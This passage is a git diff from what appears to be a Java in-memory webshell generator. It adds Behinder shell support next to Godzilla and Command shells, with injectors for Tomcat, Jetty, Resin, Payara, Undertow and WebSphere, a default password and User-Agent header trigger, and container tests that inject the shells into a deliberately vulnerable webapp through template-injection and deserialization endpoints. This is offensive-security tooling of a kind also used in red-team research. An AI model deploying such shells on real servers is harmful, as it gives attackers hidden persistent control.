import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -15,7 +18,7 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
@@ -51,4 +54,16 @@ public class JettyShell extends AbstractShell {
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class),
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class)
);
}
}
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.payara.behinder.BehinderListener;
import com.reajason.javaweb.memshell.payara.command.CommandListener;
import com.reajason.javaweb.memshell.payara.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -52,4 +55,16 @@ public class PayaraShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class)
);
}
}
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
import com.reajason.javaweb.memshell.resin.command.CommandListener;
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -49,4 +52,16 @@ public class ResinShell extends AbstractShell {
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class)
);
}
}
@@ -1,12 +1,16 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
@@ -16,7 +20,7 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
@@ -62,4 +66,18 @@ public class TomcatShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class),
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
@@ -49,4 +52,16 @@ public class UndertowShell extends AbstractShell {
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
@@ -43,4 +46,13 @@ public class WebSphereShell extends AbstractShell {
Constants.LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
);
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class BehinderConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import lombok.Builder;
import lombok.Getter;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import net.bytebuddy.jar.asm.Opcodes;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import lombok.Builder;
import lombok.Data;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.*;
import lombok.Getter;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Builder;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
/**
* @author ReaJason
@@ -13,5 +13,10 @@ public enum ShellTool {
/**
* 命令回显
*/
Command
Command,
/**
* 冰蝎
*/
Behinder
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.bcel.classfile.Utility;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.codec.binary.Base64;
/**
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.Getter;
import java.util.Map;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.util;
package com.reajason.javaweb.memshell.utils;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.memshell.config.Server;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
@@ -1,5 +1,6 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memshell.tomcat.command;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.CommandGenerator;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
@@ -1,12 +1,12 @@
package com.reajason.javaweb.memshell.tomcat.godzilla;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.GodzillaGenerator;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.util.ClassUtils;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
+32
View File
@@ -0,0 +1,32 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = ''
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation project(":common")
implementation 'net.bytebuddy:byte-buddy:1.+'
implementation 'commons-io:commons-io:2.+'
implementation 'org.apache.commons:commons-lang3:3.+'
implementation 'commons-codec:commons-codec:1.+'
implementation 'com.squareup.okhttp3:okhttp:4.+'
testImplementation platform('org.junit:junit-bom:5.10.0')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
test {
useJUnitPlatform()
}
@@ -1,7 +1,6 @@
package com.reajason.javaweb.godzilla;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.GodzillaGenerator;
import lombok.Getter;
import lombok.Setter;
import lombok.SneakyThrows;
@@ -32,7 +31,7 @@ public class GodzillaManager implements Closeable {
private static final List<String> CLASS_NAMES;
static {
InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt"));
InputStream classNamesStream = Objects.requireNonNull(GodzillaManager.class.getResourceAsStream("/godzillaShellClassNames.txt"));
CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
}
+3
View File
@@ -13,6 +13,9 @@ version = ''
dependencies {
testImplementation project(":vul-webapp")
testImplementation project(":common")
testImplementation project(":behinder")
testImplementation project(":godzilla")
testImplementation project(':generator')
testImplementation 'org.hamcrest:hamcrest:3.0'
testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
@@ -0,0 +1,11 @@
services:
jboss510:
image: reajason/jboss:5-jdk6
container_name: jboss510
ports:
- 8080:8080
- 5005:5005
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/server/web/deploy/app.war
@@ -0,0 +1,21 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.behinder.BehinderManager;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/11/30
*/
public class BehinderShellTool {
public static void testIsOk(String entrypoint, BehinderConfig shellConfig) {
BehinderManager behinderManager = BehinderManager.builder()
.entrypoint(entrypoint).pass(shellConfig.getPass())
.header(shellConfig.getHeaderName()
, shellConfig.getHeaderValue()).build();
assertTrue(behinderManager.test());
}
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.memshell.config.CommandConfig;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import okhttp3.HttpUrl;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.godzilla.GodzillaManager;
import java.io.IOException;
@@ -1,7 +1,7 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
@@ -32,14 +32,14 @@ public class ShellAssertionTool {
switch (shellTool) {
case Godzilla:
String pass = "pass";
String key = "key";
String headerValue = "Godzilla" + shellType + packer.name();
String godzillaPass = "pass";
String godzillaKey = "key";
String godzillaHeaderValue = "Godzilla" + shellType + packer.name();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass(pass).key(key)
.headerName("User-Agent").headerValue(headerValue)
.pass(godzillaPass).key(godzillaKey)
.headerName("User-Agent").headerValue(godzillaHeaderValue)
.build();
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, godzillaHeaderValue);
String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer);
assertInjectIsOk(url, shellType, shellTool, content, packer);
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
@@ -51,6 +51,15 @@ public class ShellAssertionTool {
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
CommandShellTool.testIsOk(shellUrl, commandConfig);
break;
case Behinder:
String behinderPass = "pass";
String behinderHeaderValue = "Behinder" + shellType + packer.name();
BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build();
log.info("generated {} godzilla with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue);
String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer);
assertInjectIsOk(url, shellType, shellTool, behinderContent, packer);
BehinderShellTool.testIsOk(shellUrl, behinderConfig);
}
}
@@ -69,8 +78,7 @@ public class ShellAssertionTool {
case OGNL -> VulTool.postData(url + "/ognl", content);
case Freemarker -> VulTool.postData(url + "/freemarker", content);
case Velocity -> VulTool.postData(url + "/velocity", content);
case Deserialize ->
VulTool.postData(url + "/java_deserialize", content);
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
}
}
}
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.GlassFishShell;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
@@ -49,14 +49,20 @@ public class GlassFish3ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.GlassFishShell;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
@@ -49,14 +49,20 @@ public class GlassFish4ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.GlassFishShell;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
@@ -42,14 +42,20 @@ public class GlassFish501ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.GlassFishShell;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
@@ -42,18 +42,24 @@ public class GlassFish510ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
